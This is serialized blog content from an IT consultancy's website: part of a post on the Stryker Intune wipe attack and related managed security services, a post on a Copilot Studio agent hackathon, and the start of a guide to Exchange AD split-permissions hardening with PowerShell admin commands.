organization.",[4070,4071],"video-frame",{"thumb":4072,"alt":4073,"id":4074,":full-width":1435},"/thumbs/thumb-managed-red-tenant.jpg","Jan Geisbauer and Thomas Naunheim discussing Managed Red Tenant cybersecurity strategy","rOEIvItNkjE",[1536,4076,4078,4079],{"style":4077},"background:var(--color-gk-light-grey); margin-top:0.5rem; padding:0.5rem 1rem; font-size:0.85rem; color:var(--color-gk-dark-blue)","More on our ",[833,4080,4083],{"href":4081,"target":513,"rel":4082},"https://www.youtube.com/playlist?list=PLPxBXiOFJRHelegu_B-uZAyz2UrOSxioL",[3864],"YouTube channel",[1667,4085,4087],{"id":4086},"managed-intune-locking-down-the-management-plane-itself","Managed Intune: locking down the management plane itself",[806,4089,1531],{},[806,4091,4092,4093,4095],{},"The second layer is ensuring that Intune, the very tool that was weaponized in the Stryker attack, is configured, operated, and continuously maintained to the highest security standard. This is where our ",[833,4094,45],{"href":48}," service comes in.",[806,4097,4098],{},"One of the core findings from incidents like Stryker is that organizations often inherit Intune environments that have grown organically over time: Policies stacked on top of policies, manual changes made through the portal that are difficult to audit, and security baselines that have not kept pace with Microsoft's own evolving recommendations. That kind of environment is exactly where configuration drift creates exploitable gaps.",[806,4100,4101,4102,4107],{},"Microsoft has recently published ",[833,4103,4106],{"href":4104,"rel":4105},"https://techcommunity.microsoft.com/blog/intunecustomersuccess/best-practices-for-securing-microsoft-intune/4502117",[1410],"best practices for securing Microsoft Intune"," — a timely signal that even Microsoft considers Intune hardening a topic that needs explicit attention across the industry. Our Managed Intune service is built on exactly these principles, and we have implemented Microsoft's recommendations as part of our baseline.",[806,4109,4110],{},"Our Managed Intune service is built on the glueckkanja Intune Foundation: A set of proven, continuously maintained best practices for device management, delivered entirely as code using Terraform and our own TerraProvider. Every change is automated, version-controlled, and auditable. There are no undocumented click-through configurations that an attacker could exploit by understanding the gap between what was intended and what was set.",[806,4112,4113],{},"From a security perspective, this means Zero Trust, App Protection Policies, and Endpoint Security configurations are applied by design, consistently, across Windows, macOS, iOS, and Android, not as one-time deployments, but as continuously enforced, evergreen baselines that track Microsoft's own security guidance as it evolves.",[806,4115,4116],{},"Critically, Managed Intune reflects the operational maturity required to secure modern endpoint management: continuous compliance monitoring, structured change governance, and regular service reviews, not as optional extras, but as baseline operations. But securing the Intune configuration is only half the picture. If the administrator accessing the console does so from an unprotected device, the management plane remains exposed regardless which is exactly where the Managed Red Tenant completes the model.",[806,4118,4119],{},"Since all configurations are deployed as code based on the Intune Foundation, we enforce a strict four-eyes principle with peer review, additional automated validation, and controlled deployment pipelines. This eliminates unmanaged portal changes within the Intune Foundation and ensures a consistent, auditable, and secure baseline across all devices.",[806,4121,4122],{},"Administrative access is governed through a least-privilege model using GDAP and Azure Lighthouse, with clearly defined responsibilities and tightly scoped access to the customer tenant. This significantly reduces the attack surface associated with privileged operations.",[806,4124,4125],{},"Device-level actions, including destructive operations, remain under customer responsibility, as their execution is tightly coupled to organization-specific processes and internal governance frameworks. Microsoft and CISA recommend securing such actions through additional safeguards, such as multi-admin approval controls within Intune.",[810,4127,4129],{"id":4128},"the-uncomfortable-question","The uncomfortable question",[806,4131,816],{},[806,4133,4134],{},"The Stryker attack is not an indictment of Microsoft Intune. Intune behaved exactly as designed. It executed the commands it received from an authenticated administrator. The failure was not in the tool. It was in the absence of controls around who could reach that tool, from what context, and with what level of authorization.",[806,4136,4137],{},"That is a governance and architecture problem. And it is the same problem that exists in most organizations running Microsoft 365 today.",[806,4139,4140],{},"If your administrators access Intune, Entra ID, or Azure from the same devices and identities they use for everyday work and if your Intune environment has grown through years of manual portal changes rather than a structured, automated operating model, you are carrying the same structural risk that Stryker carried on March 10th. The question is whether an adversary will find that exposure before you address it.",[806,4142,4143,4145,4146,4148],{},[833,4144,394],{"href":397}," addresses the privilege and identity layer. ",[833,4147,45],{"href":48}," addresses the configuration and operational layer. Together, they close the two gaps that made the Stryker attack possible.",[806,4150,4151],{},"If you want to understand how either service maps to your current environment, or where your specific exposure points are, we are happy to talk through it.",[806,4153,4154],{},"We will also be publishing a deep-dive article shortly, examining how the Stryker incident was able to happen in the first place.",[810,4156,4158],{"id":4157},"further-information","Further information",[806,4160,816],{},[2733,4162,4163,4170,4176,4183],{},[2736,4164,4165],{},[833,4166,4169],{"href":4167,"rel":4168},"https://www.cisa.gov/secure-cloud-business-applications",[1410],"CISA: Securing Cloud Business Applications",[2736,4171,4172],{},[833,4173,4175],{"href":4104,"rel":4174},[1410],"Microsoft: Best practices for securing Microsoft Intune",[2736,4177,4178],{},[833,4179,4182],{"href":4180,"rel":4181},"https://techcrunch.com/2026/03/19/cisa-urges-companies-to-secure-microsoft-intune-systems-after-hackers-mass-wipe-stryker-devices/?utm_campaign=social",[1410],"TechCrunch: CISA urges companies to secure Microsoft Intune systems after hackers mass-wipe Stryker devices",[2736,4184,4185],{},[833,4186,4189],{"href":4187,"rel":4188},"https://marketplace.microsoft.com/de-de/product/saas/glueckkanja-gabag.redtenant?tab=overview",[1410],"Managed Red Tenant on Azure Marketplace",{"title":863,"searchDepth":864,"depth":864,"links":4191},[4192,4193,4194,4195,4196,4200,4201],{"id":3965,"depth":864,"text":3966},{"id":3980,"depth":864,"text":3981},{"id":3998,"depth":864,"text":3999},{"id":4010,"depth":864,"text":4011},{"id":4025,"depth":864,"text":4026,"children":4197},[4198,4199],{"id":4040,"depth":1810,"text":4041},{"id":4086,"depth":1810,"text":4087},{"id":4128,"depth":864,"text":4129},{"id":4157,"depth":864,"text":4158},{"lang":872,"seoTitle":4203,"titleClass":874,"date":4204,"categories":4205,"blogtitlepic":4206,"socialimg":4207,"customExcerpt":4208,"keywords":4209,"hreflang":4210,"asideNav":4217,"contactInContent":4232,"maxContent":749,"published":508},"The Stryker Attack: How a Compromised Admin Account Wiped 80,000 Devices via Intune","2026-03-20",[371],"head-stryker.jpg","/blog/heads/head-stryker.jpg","On March 11, 2026, Handala wiped devices across 79 countries using nothing but a compromised Intune admin account. No malware, no exploit, just legitimate management tooling turned into a weapon. Here is what happened, why it worked, and how the two architectural gaps that made it possible can be closed.","Stryker attack, Handala, Microsoft Intune wipe, privileged access management, admin workstation, Managed Red Tenant, Managed Intune, Zero Trust, Privileged Admin Workstation, PAW, Enterprise Access Model, CISA, endpoint management security",[4211,4213,4215],{"lang":4,"href":4212},"/de/posts/2026-03-20-stryker-attack-intune-privilege",{"lang":956,"href":4214},"/es/posts/2026-03-20-stryker-attack-intune-privilege",{"lang":872,"href":4216},"/en/posts/2026-03-20-stryker-attack-intune-privilege",{"menuItems":4218},[4219,4221,4223,4225,4228,4230],{"href":4220,"text":3966},"#what-actually-happened",{"href":4222,"text":3981},"#why-this-attack-succeeded",{"href":4224,"text":3999},"#cisa-has-seen-enough",{"href":4226,"text":4227},"#separation-is-not-a-luxury-it-is-the-control","Separation is not a luxury",{"href":4229,"text":4026},"#two-layers-of-defense",{"href":4231,"text":4129},"#the-uncomfortable-question",{"quote":508,"infos":4233},{"bgColor":884,"headline":886,"subline":4234,"level":810,"textStyling":888,"flush":889,"person":4235,"form":4237},"Want to know how Managed Red Tenant and Managed Intune close the gaps the Stryker attack exploited? Fill out the form and we'll walk you through how it maps to your environment.",{"image":3674,"cloudinary":508,"alt":3675,"name":1127,"quotee":1127,"quoteeTitle":3676,"quote":4236},"The Stryker attack is a wake-up call for every organization running Microsoft Intune. The tool did exactly what it was told. The problem was that no one should have been able to tell it that — not from a compromised everyday account, not without a second approval, not without an isolated administrative environment. That is the gap we help organizations close.",{"ctaText":906,"cta":4238,"method":870,"action":909,"fields":4239},{"skin":908},[4240,4241,4242,4243,4244,4245,4247,4248,4249,4251,4252,4253],{"type":912,"id":913,"value":914},{"label":916,"type":917,"id":918,"required":508,"requiredMsg":919},{"label":921,"type":917,"id":612,"required":508,"requiredMsg":922},{"label":924,"type":925,"id":925,"required":508,"requiredMsg":926},{"label":928,"type":929,"id":930,"required":749,"requiredMsg":931},{"label":4246,"type":934,"id":935,"required":508,"requiredMsg":936},"Your data will be stored and used to respond to your request. For more details, please see our \u003Ca href=\"/en/privacy\">Privacy Policy\u003C/a>.",{"type":912,"id":938,"value":371},{"type":912,"id":940,"value":941},{"type":912,"id":943,"value":4250},"Form: Blog Stryker Attack Intune Privilege | EN",{"type":912,"id":946,"value":947},{"type":912,"id":949},{"type":912,"id":951},"/posts/2026-03-20-stryker-attack-intune-privilege",{"title":3953,"description":3959},"posts/2026-03-20-stryker-attack-intune-privilege",[103,4258,4259],"Privileged Access","Zero Trust","UUvRfCpIQm2f54X3IE4ubTDTKGwl0wZjtbYt5z4CLMk",{"id":4262,"title":4263,"author":4264,"body":4265,"cta":764,"description":4269,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":4301,"moment":4303,"navigation":508,"path":4316,"seo":4317,"stem":4318,"tags":4319,"webcast":749,"__hash__":4323},"content_en/posts/2026-03-16-ai-agent-hackathon.md","Six Agents. Four Weeks. Real Production.",[801],{"type":803,"value":4266,"toc":4299},[4267,4270,4273,4276,4279,4282,4287,4290,4293,4296],[806,4268,4269],{},"How many hours does your IT department spend each week on tasks an agent could handle in minutes?",[806,4271,4272],{},"There is a type of process that almost every IT department in German companies knows: someone reads contracts. Someone else sorts requirements into categories. Yet another person answers the same questions about deliveries that someone already answered yesterday. These are not glamorous problems. But they are the ones that collectively cost tens of thousands of hours per year — and they are surprisingly well-suited for AI agents, if you know where to apply the lever.",[806,4274,4275],{},"Six companies did exactly that in February at our office in Offenbach. Kiekert now categorizes R&D requirements using rule-based logic, with a confidence score and a feedback loop. The agent is already running in production. Dr. Oetker built a Contract Review Assistant that checks IT contracts for critical clauses and generates a structured review report for procurement and legal. Eckes-Granini entered with two agents: an onboarding agent that guides new employees through MFA, Office setup, and security policies from their first login, and a logistics agent that answers dispatchers' questions about shipments, rates, and carriers. igefa developed a voice-based hotline agent for internal IT support, connected to JIRA and Confluence. And lila logistik brought perhaps the most unusual project: a use case generator that monitors SharePoint and Exchange to identify automation potential — because the real problem is often not the technology, but that no one in the organization recognizes the right places to automate.",[806,4277,4278],{},"All of this was built in Copilot Studio, with Agent Flows, Dataverse connections and MCP connectors, supported by four of our MVPs. Four weeks of building, alongside regular day-to-day business. Participants had to carve out every hour for it, between tickets, quarterly closes, and operational demands. That six working agents stood at the end says less about the technology than about the teams who built them.",[806,4280,4281],{},"On March 10th at the Microsoft Office Frankfurt came the final test: six presentations, 20 minutes each, judged on business impact, technical depth, and audience applause (yes, that is also on the scoring sheet). Kiekert won because their agent is running in production, built by someone from the business unit — no IT background, no prior experience with Copilot Studio. Dr. Oetker won because contract review is so universal that the jury started thinking about their own IT contracts afterwards. That all six teams built a working agent in four weeks alongside their regular workload — that was ultimately the real news of the day.",[4070,4283],{"thumb":4284,"alt":4285,"id":4286,":full-width":1435},"/thumbs/thumb-ai-agent-hackathon.jpg","Presentation of the glueckkanja AI Agent Hackathon at Microsoft Office Frankfurt: six teams presenting their Copilot Studio agents to an audience.","GjumQAnKj8k",[1536,4288,4289],{"style":4077},"glueckkanja AI Agent Hackathon – Six companies, six agents, four weeks",[806,4291,4292],{},"The format is called the glueckkanja AI Agent Hackathon. It grew out of a Microsoft Hackathon in Munich where we participated with Knorr-Bremse. Microsoft then asked us to continue the format with our customers. The idea is simple: companies apply with a concrete process that is currently manual. We sharpen the use case, define the architecture, and build together. For those not ready to jump straight into the hackathon: we also offer workshops to identify use cases and prepare the agent architecture — either as an entry point or as a standalone format.",[806,4294,4295],{},"The next glueckkanja AI Agent Hackathon starts in fall 2026. Registration is open. If you want to identify use cases and prepare your environment beforehand: we are happy to help. Reach out to us.",[806,4297,4298],{},"Thank you to Sylvia and Miriam from Microsoft for their trust in the format. To Kiekert, Dr. Oetker, Eckes-Granini, igefa and lila logistik for their courage and commitment. And to our glueckkanja team for making it happen.",{"title":863,"searchDepth":864,"depth":864,"links":4300},[],{"lang":872,"seoTitle":4302,"titleClass":874,"date":4303,"categories":4304,"blogtitlepic":4305,"socialimg":4306,"customExcerpt":4307,"keywords":4308,"hreflang":4309,"published":508},"glueckkanja AI Agent Hackathon: Six Companies Build AI Agents with Copilot Studio","2026-03-16",[877],"head-ai-agent-hackathon.jpg","/blog/heads/head-ai-agent-hackathon.jpg","Six companies, four weeks of building, six working AI agents — that was the first glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa and lila logistik built agents in Copilot Studio that are running in production today. Here is what was built and how the format works.","AI Agent Hackathon, Copilot Studio, glueckkanja, AI Agents, Microsoft Copilot, Agent Flows, Dataverse, MCP Connector, Kiekert, Dr. Oetker, Eckes-Granini, igefa, lila logistik, AI automation, enterprise AI, process automation",[4310,4312,4314],{"lang":4,"href":4311},"/de/posts/2026-03-16-ai-agent-hackathon",{"lang":872,"href":4313},"/en/posts/2026-03-16-ai-agent-hackathon",{"lang":956,"href":4315},"/es/posts/2026-03-16-ai-agent-hackathon","/posts/2026-03-16-ai-agent-hackathon",{"title":4263,"description":4269},"posts/2026-03-16-ai-agent-hackathon",[965,4320,4321,4322],"Copilot Studio","Hackathon","AI Agents","VuB26eKvl5GKvXlqZw6ERkulCKwNYWkUb1buWbKpsBY",{"id":4325,"title":4326,"author":4327,"body":4328,"cta":764,"description":863,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":4986,"moment":4988,"navigation":508,"path":5013,"seo":5014,"stem":5015,"tags":764,"webcast":749,"__hash__":5016},"content_en/posts/2026-03-01-exchange-ad-split-permissions-hardening.md","Exchange AD Split Permissions without regrets",[1041],{"type":803,"value":4329,"toc":4973},[4330,4334,4337,4343,4348,4364,4367,4372,4375,4379,4387,4401,4407,4410,4415,4451,4474,4478,4486,4494,4499,4515,4519,4525,4529,4534,4592,4597,4634,4637,4641,4656,4663,4679,4688,4692,4695,4741,4744,4753,4762,4765,4780,4797,4810,4822,4827,4886,4890,4895,4915,4922,4946,4950,4953,4956,4970],[810,4331,4333],{"id":4332},"tldr-what-if-we-remove-the-downsides","TLDR: what if we remove the downsides?",[806,4335,4336],{},"I found a way to re-grant AD and RBAC permissions directly where Exchange users, groups, and contacts reside, requiring no changes for admins or identity management systems. In my experience, that friction has been the primary blocker for most companies. And we still retain the security benefits against lateral movement and domain compromise.",[806,4338,4339],{},[1449,4340],{"alt":4341,"src":4342},"Active Directory","https://res.cloudinary.com/c4a8/image/upload/v1770991330/blog/pics/Blog_-_Exchange_AD_Split_Permissions_-_1.png",[806,4344,4345],{},[1732,4346,4347],{},"It’s achieved in three steps:",[4349,4350,4351,4358,4361],"ol",{"style":3752},[2736,4352,4353,4354],{},"Implement ",[833,4355,4357],{"href":4356},"https://learn.microsoft.com/en-us/exchange/permissions/split-permissions/configure-exchange-for-split-permissions#switch-to-active-directory-split-permissions","AD split permission model",[2736,4359,4360],{},"Grant Exchange servers the lost AD permissions, but only on the relevant OUs",[2736,4362,4363],{},"Grant Exchange RBAC to re-enable missing PowerShell cmdlets",[806,4365,4366],{},"All via Microsoft’s guidance, AD ACLs or Exchange RBAC assignments.",[4070,4368],{"thumb":4369,"alt":4370,"id":4371,":full-width":1435},"/thumbs/thumb-exchange-ad-split-permissions-webcast.jpg","A presenter sits in front of a laptop explaining a slide titled Step 1: Active Directory Permissions by glueckkanja. The slide covers how to implement Microsoft Exchange AD Split Permissions, including PowerShell commands for creating a delegation group (New-ADGroup, Add-ADGroupMember) and applying permissions via the script Add-ExchangeADSplitPermissionOnOU.ps1.","soNZkNRopSQ",[1536,4373,4374],{"style":4077},"Webcast: Exchange AD Split Permissions without regrets. A Step-by-step implementation guide",[810,4376,4378],{"id":4377},"why-do-we-care-now","Why do we care (now)?",[806,4380,4381,4382,4384,4386],{},"It has been largely overlooked or ignored since it was introduced with Exchange 2010 SP1. But the default shared permissions model represents a big security risk of Active Directory takeover. Combined with Exchange being notorious for remote exploits the last few years, it’s time to act!",[2012,4383],{},[2012,4385],{},"\nThe problem originates from privileges granted to the root of a domain that get inherited throughout the domain.",[2733,4388,4389,4392,4395,4398],{"style":3752},[2736,4390,4391],{},"modify permissions on users and groups (effectively full access)",[2736,4393,4394],{},"modify group members",[2736,4396,4397],{},"reset password on users",[2736,4399,4400],{},"create/delete users and groups",[806,4402,4403],{},[1449,4404],{"alt":4405,"src":4406},"Permissions","https://res.cloudinary.com/c4a8/image/upload/v1770991330/blog/pics/Blog_-_Exchange_AD_Split_Permissions_-_2.png",[806,4408,4409],{},"Only certain highly privileged Tier 0 users and groups are protected by the AdminSDHolder process (attribute admincount=1) and in many environments there will be unprotected users or groups that could allow compromise of the domain and/or forest or at least cause serious impact.",[806,4411,4412],{},[1732,4413,4414],{},"Prominent examples:",[2733,4416,4417,4420,4440],{"style":3752},[2736,4418,4419],{},"Entra Connect Sync account when using Password Hash Sync",[2736,4421,4422,4423],{},"Default groups",[2733,4424,4426,4429,4437],{"style":4425},"margin: 0",[2736,4427,4428],{},"Allowed RODC Password Replication Group together with Entra Connect account (if a real Windows RODC exists)",[2736,4430,4431,4432,4436],{},"Also see ",[833,4433,4435],{"href":4434,"target":513},"https://specterops.io/blog/2025/06/25/untrustworthy-trust-builders-account-operators-replicating-trust-attack-aorta","Untrustworthy Trust Builders: Account Operators Replicating Trust Attack (AORTA) - SpecterOps"," showing more paths (Account Operators group is a similar threat)",[2736,4438,4439],{},"Emptying Protected Users to create attack vectors by removing protections",[2736,4441,4442,4443],{},"Unprotected custom groups or admin/service accounts",[2733,4444,4445,4448],{"style":4425},[2736,4446,4447],{},"Write permission on GPOs (applying to domain controller)",[2736,4449,4450],{},"Managing access to AD backups, backup server, PKI templates, hypervisor, ...",[806,4452,4453,4454,4456,4458,4459,4464,4466,4468,4469],{},"It is very hard to retroactively contain all these current and future potential pathways. For the _ADM custom OU, you could disable ACL inheritance, but most default objects may not be moved from the default Builtin OU or Users container and remain vulnerable.",[2012,4455],{},[2012,4457],{},"\nIt is much better to remove the powerful permissions from the root, which is done by implementing the Active Directory split permissions model. ",[833,4460,4463],{"href":4461,"rel":4462},"https://learn.microsoft.com/en-us/exchange/permissions/split-permissions/configure-exchange-for-split-permissions",[1410],"Configure Exchange Server for split permissions | Microsoft Learn",[2012,4465],{},[2012,4467],{},"\nAnd Microsoft agrees “…encouraged to implement Active Directory split permissions” ",[833,4470,4473],{"href":4471,"rel":4472},"https://techcommunity.microsoft.com/blog/coreinfrastructureandsecurityblog/active-directory-hardening-series---part-7-%E2%80%93-implementing-least-privilege/4366626",[1410],"Active Directory Hardening Series - Part 7 – Implementing Least Privilege | Microsoft Community Hub",[810,4475,4477],{"id":4476},"but-why-is-no-one-doing-it","But why is no one doing it?",[806,4479,4480,4481,4483,4485],{},"As split permissions weren’t available until Exchange 2010 SP1, everyone had accepted it by then and it seems that security teams did not manage to push it successfully once it existed.",[2012,4482],{},[2012,4484],{},"\nAnd it would have forced changes to admin and IDM processes, like creating users or distribution lists in AD first and only afterwards using Exchange to “mail enable” them.",[3589,4487,4488],{},[806,4489,4490,4493],{},[1732,4491,4492],{},"Info:"," The following cmdlets will no longer be available or working: Add-DistributionGroupMember, New-DistributionGroup, New-Mailbox, New-MailContact, New-MailUser, New-RemoteMailbox, Remove-DistributionGroup, Remove-DistributionGroupMember, Remove-Mailbox, Remove-MailContact, Remove-MailUser, Remove-RemoteMailbox, Update-DistributionGroupMember, Add-ADPermission, Remove-ADPermission",[806,4495,4496],{},[1732,4497,4498],{},"Adoption examples:",[2733,4500,4501,4512],{"style":3752},[2736,4502,4503,4504],{},"New-Mailbox (where Exchange writes to AD) would be:",[2733,4505,4506,4509],{"style":4425},[2736,4507,4508],{},"New-ADUser (where adm.jdoe writes to AD)",[2736,4510,4511],{},"Enable-Mailbox",[2736,4513,4514],{},"Add-ADPermission for SendAs rights would have to be done via AD users and computers in the security tab and often requiring additional AD permissions for standard admins.",[810,4516,4518],{"id":4517},"show-me-this-no-regrets-option","Show me this no-regrets option!",[806,4520,4521,4524],{},[1732,4522,4523],{},"Disclaimer",": Please fully read and understand the following links and articles, perform it in a test environment first, make sure AD backups are current and recovery practices are established!",[1667,4526,4528],{"id":4527},"audit-current-usage","Audit current usage",[806,4530,4531],{},[1732,4532,4533],{},"You should first check which of the affected cmdlets are in use on which OUs:",[2005,4535,4536,4543,4545,4551,4553],{},[1584,4537,4538,4542],{},[1584,4539,4541],{"style":4540},"color:var(--color-gk-orange)","$CsvPath"," = \"C:\\temp\\SplitPermissionAdminAuditLog.csv\"",[2012,4544],{},[1584,4546,4547,4550],{},[1584,4548,4549],{"style":4540},"$Cmdlets"," = \"Add-ADPermission\",\"Remove-ADPermission\",\"New-DistributionGroup\",\"Remove-DistributionGroup\",\"Add-DistributionGroupMember\",\"Update-DistributionGroupMember\",\"Remove-DistributionGroupMember\",\"New-Mailbox\",\"Remove-Mailbox\",\"New-RemoteMailbox\",\"Remove-RemoteMailbox\",\"New-MailUser\",\"Remove-MailUser\",\"New-MailContact\",\"Remove-MailContact\"",[2012,4552],{},[1584,4554,4555,2021,4558,4562,4563,2021,4566,4568,4569,4572,4573,2021,4576,2021,4579,2021,4581,4584,4585,4588,4589],{},[1584,4556,4557],{"style":4540},"Search-AdminAuditLog",[1584,4559,4561],{"style":4560},"color:var(--color-gk-mid-blue)","-ResultSize"," 99000 ",[1584,4564,4565],{"style":4560},"-Cmdlets",[1584,4567,4549],{"style":4540}," | ",[1584,4570,4571],{"style":4540},"Select-Object"," RunDate,Caller,ObjectModified,CmdletName,@{Name='CmdletParameters';Expression={[string]::join(\",\", ($\\_.CmdletParameters))}},succeeded,error | ",[1584,4574,4575],{"style":4540},"Export-Csv",[1584,4577,4578],{"style":4560},"-Path",[1584,4580,4541],{"style":4540},[1584,4582,4583],{"style":4560},"-Delimiter"," \";\" ",[1584,4586,4587],{"style":4560},"-Encoding"," Unicode ",[1584,4590,4591],{"style":4560},"-NoTypeInformation",[806,4593,4594],{},[1732,4595,4596],{},"Quick Analysis of caller and cmdlets:",[2005,4598,4599,4615,4617,4625,4627],{},[1584,4600,4601,4604,4605,2021,4608,2021,4610,2021,4612,4614],{},[1584,4602,4603],{"style":4540},"$CSVs"," = ",[1584,4606,4607],{"style":4540},"Import-Csv",[1584,4609,4578],{"style":4560},[1584,4611,4541],{"style":4540},[1584,4613,4583],{"style":4560}," \";\"",[2012,4616],{},[1584,4618,4619,4568,4621,4624],{},[1584,4620,4603],{"style":4540},[1584,4622,4623],{"style":4540},"Group-Object"," Caller",[2012,4626],{},[1584,4628,4629,4568,4631,4633],{},[1584,4630,4603],{"style":4540},[1584,4632,4623],{"style":4540}," CmdletName",[806,4635,4636],{},"Analyze the CSV for where AD permissions will be needed. Potentially optimize by moving all Exchange-relevant groups into dedicated OUs.",[810,4638,4640],{"id":4639},"enable-split-permissions-model","Enable Split Permissions Model",[806,4642,4643,4644,4647,4648,4652],{},"Follow Microsoft's instructions ",[1732,4645,4646],{},"\"Switch to Active Directory split permissions\""," in\n",[833,4649,4463],{"href":4650,"rel":4651},"https://learn.microsoft.com/en-us/exchange/configure-exchange-server-for-split-permissions",[1410],[4653,4654,4655],"em",{},"(NOT RBAC split permissions)",[806,4657,4658,4659,4662],{},"In essence, it will remove the dangerous permissions of the ",[1732,4660,4661],{},"\"Exchange Windows Permissions\""," group and also remove Exchange as a group member.",[2005,4664,4665],{},[1584,4666,4667,2021,4670,2021,4673,2021,4676],{},[1584,4668,4669],{"style":4540},"Setup.exe",[1584,4671,4672],{"style":4560},"/IAcceptExchangeServerLicenseTerms_DiagnosticDataOFF",[1584,4674,4675],{"style":4560},"/PrepareAD",[1584,4677,4678],{"style":4560},"/ActiveDirectorySplitPermissions:true",[1536,4680,1901,4682,4684,4685],{"style":4681},"background:#f4f4f4; border-left:4px solid var(--color-gk-petrol); border-radius:0 6px 6px 0; padding:0.75rem 1rem; margin:1rem 0; font-size:0.88rem; color:#000520;",[1732,4683,4492],{}," To revert back, simply use ",[1546,4686,4687],{},"/ActiveDirectorySplitPermissions:false",[1667,4689,4691],{"id":4690},"grant-ad-permissions","Grant AD Permissions",[806,4693,4694],{},"Create a custom AD group and make Exchange servers members.",[2005,4696,4697,4703,4705,2021,4708,4711,4712,4715,4716,4719,4720,2021,4722,2021,4725,4728,4729,4731,4711,4734,4737,4738],{},[1584,4698,4699],{},[1584,4700,4702],{"style":4701},"color:var(--color-black-40)","# adjust OU Path first!",[2012,4704],{},[1584,4706,4707],{"style":4540},"New-ADGroup",[1584,4709,4710],{"style":4560},"-Name"," \"AD_Custom Exchange Split permissions replacement\" ",[1584,4713,4714],{"style":4560},"-GroupCategory"," Security ",[1584,4717,4718],{"style":4560},"-GroupScope"," DomainLocal ",[1584,4721,4578],{"style":4560},[1732,4723,4724],{},"\"OU=Rights,OU=Groups,OU=T1,OU=_ADM,$((Get-ADDomain).DistinguishedName)\"",[1584,4726,4727],{"style":4560},"-Description"," \"replaces the permissions lost by split permissions on relevant OUs\"",[2012,4730],{},[1584,4732,4733],{"style":4540},"Add-ADGroupMember",[1584,4735,4736],{"style":4560},"-Members"," \"Exchange Trusted Subsystem\"\n",[1584,4739,4740],{"style":4701},"# reboot Exchange servers for permissions via group to work",[806,4742,4743],{},"I’ve created a script to make delegating the AD permissions easy per use case.",[3589,4745,4746],{},[806,4747,4748,4749,4752],{},"Without these permissions the Exchange server would receive the error ",[1546,4750,4751],{},"“INSUFF_ACCESS_RIGHTS”"," from AD.",[806,4754,4755,4756,4761],{},"Download ",[833,4757,4760],{"href":4758,"rel":4759},"https://github.com/glueckkanja/code-snippets/blob/main/ExchangeADSplitPermission/Add-ExchangeADSplitPermissionOnOU.ps1",[1410],"Add-ExchangeADSplitPermissionOnOU.ps1"," from glueckkanja GitHub",[806,4763,4764],{},"It can grant the following PermissionTypes:",[806,4766,4768,4771,4773,4774,4776],{"style":4767},"background:#f5f5f5;padding:0.5rem 1rem;margin:0.25rem 0;border-left:3px solid #d8d8d8;",[1732,4769,4770],{},"CreateUserAndContact",[2012,4772],{},"Create/delete, ResetPassword and WriteAllProperties for Users and Contacts",[2012,4775],{},[4777,4778,4779],"small",{},"Exchange cmdlets: `New-Mailbox`, `New-RemoteMailbox`, `New-MailUser`, `New-MailContact` and matching `Remove-*`",[806,4781,4783,4786,4788,4789,4791],{"style":4782},"background:#f5f5f5;padding:0.5rem 1rem;margin:0.25rem 0;border-left:3px solid #d8d8d8",[1732,4784,4785],{},"GroupManage",[2012,4787],{},"Create/Delete Groups, Modify Member",[2012,4790],{},[4777,4792,4793,4794,4796],{},"Exchange cmdlets: `New-DistributionGroup`, `Remove-DistributionGroup`, `Add-DistributionGroupMember`, `Update-DistributionGroupMember`, `Remove-DistributionGroupMember`",[2012,4795],{},"Also: user managing DistributionGroups they own via EAC",[806,4798,4799,4802,4804,4805,4807],{"style":4782},[1732,4800,4801],{},"UserSendAs",[2012,4803],{},"Modify AD Permissions on Users",[2012,4806],{},[4777,4808,4809],{},"Exchange cmdlet: `Add-ADPermission`",[806,4811,4812,4815,4817,4818,4820],{"style":4782},[1732,4813,4814],{},"GroupSendAs",[2012,4816],{},"Modify AD Permissions on Groups",[2012,4819],{},[4777,4821,4809],{},[806,4823,4824],{},[1732,4825,4826],{},"How to use the script:",[2005,4828,4829,2021,4831,4834,4835,4838,4839,4842,4843,4846,4848,2021,4850,4852,4853,4855,4856,4842,4858,2021,4860,4852,4862,4864,4865,4842,4867,2021,4869,4871,4872,4874,4875,4842,4877,2021,4879,4871,4881,4883,4884,4842],{},[1584,4830,4760],{"style":4540},[1584,4832,4833],{"style":4560},"-TargetOU"," \u003COU> ",[1584,4836,4837],{"style":4560},"-PermissionType"," \u003CGroupManage|UserSendAs|GroupSendAs|CreateUserAndContact> ",[1584,4840,4841],{"style":4560},"-Trustee"," \"AD_Custom Exchange Split permissions replacement\"\n",[1584,4844,4845],{"style":4701},"# For example",[2012,4847],{},[1584,4849,4760],{"style":4540},[1584,4851,4833],{"style":4560}," \"OU=ExchangeGroups,OU=HQ,OU=Alderaan,$((Get-ADDomain).DistinguishedName)\" ",[1584,4854,4837],{"style":4560}," GroupManage ",[1584,4857,4841],{"style":4560},[1584,4859,4760],{"style":4540},[1584,4861,4833],{"style":4560},[1584,4863,4837],{"style":4560}," GroupSendAs ",[1584,4866,4841],{"style":4560},[1584,4868,4760],{"style":4540},[1584,4870,4833],{"style":4560}," \"OU=Users,OU=HQ,OU=Alderaan,$((Get-ADDomain).DistinguishedName)\" ",[1584,4873,4837],{"style":4560}," UserSendAs ",[1584,4876,4841],{"style":4560},[1584,4878,4760],{"style":4540},[1584,4880,4833],{"style":4560},[1584,4882,4837],{"style":4560}," CreateUserAndContact ",[1584,4885,4841],{"style":4560},[1667,4887,4889],{"id":4888},"grant-exchange-rbac","Grant Exchange RBAC",[806,4891,4892],{},[1732,4893,4894],{},"Re-enable -BypassSecurityGroupManagerCheck parameter for Add-DistributionGroupMember and Remove-DistributionGroupMember cmdlets:",[2005,4896,4897],{},[1584,4898,4899,2021,4902,4904,4905,4908,4909,4911,4912,4914],{},[1584,4900,4901],{"style":4540},"New-RoleGroup",[1584,4903,4710],{"style":4560}," \"SplitPermission Security Group Creation and Membership\" ",[1584,4906,4907],{"style":4560},"-Roles"," \"Security Group Creation and Membership\" ",[1584,4910,4736],{"style":4560}," \"Organization Management\",\"Recipient Management\" ",[1584,4913,4727],{"style":4560}," \"Brings back -BypassSecurityGroupManagerCheck to Add-DistributionGroupMember, but also needs AD ACL for Exchange Server on target DLs\"",[3589,4916,4917],{},[806,4918,4919,4921],{},[1732,4920,4492],{}," Else you get \"-BypassSecurityGroupManagerCheck parameter is not available\" or \"You don't have sufficient permissions. This operation can only be performed by a manager of the 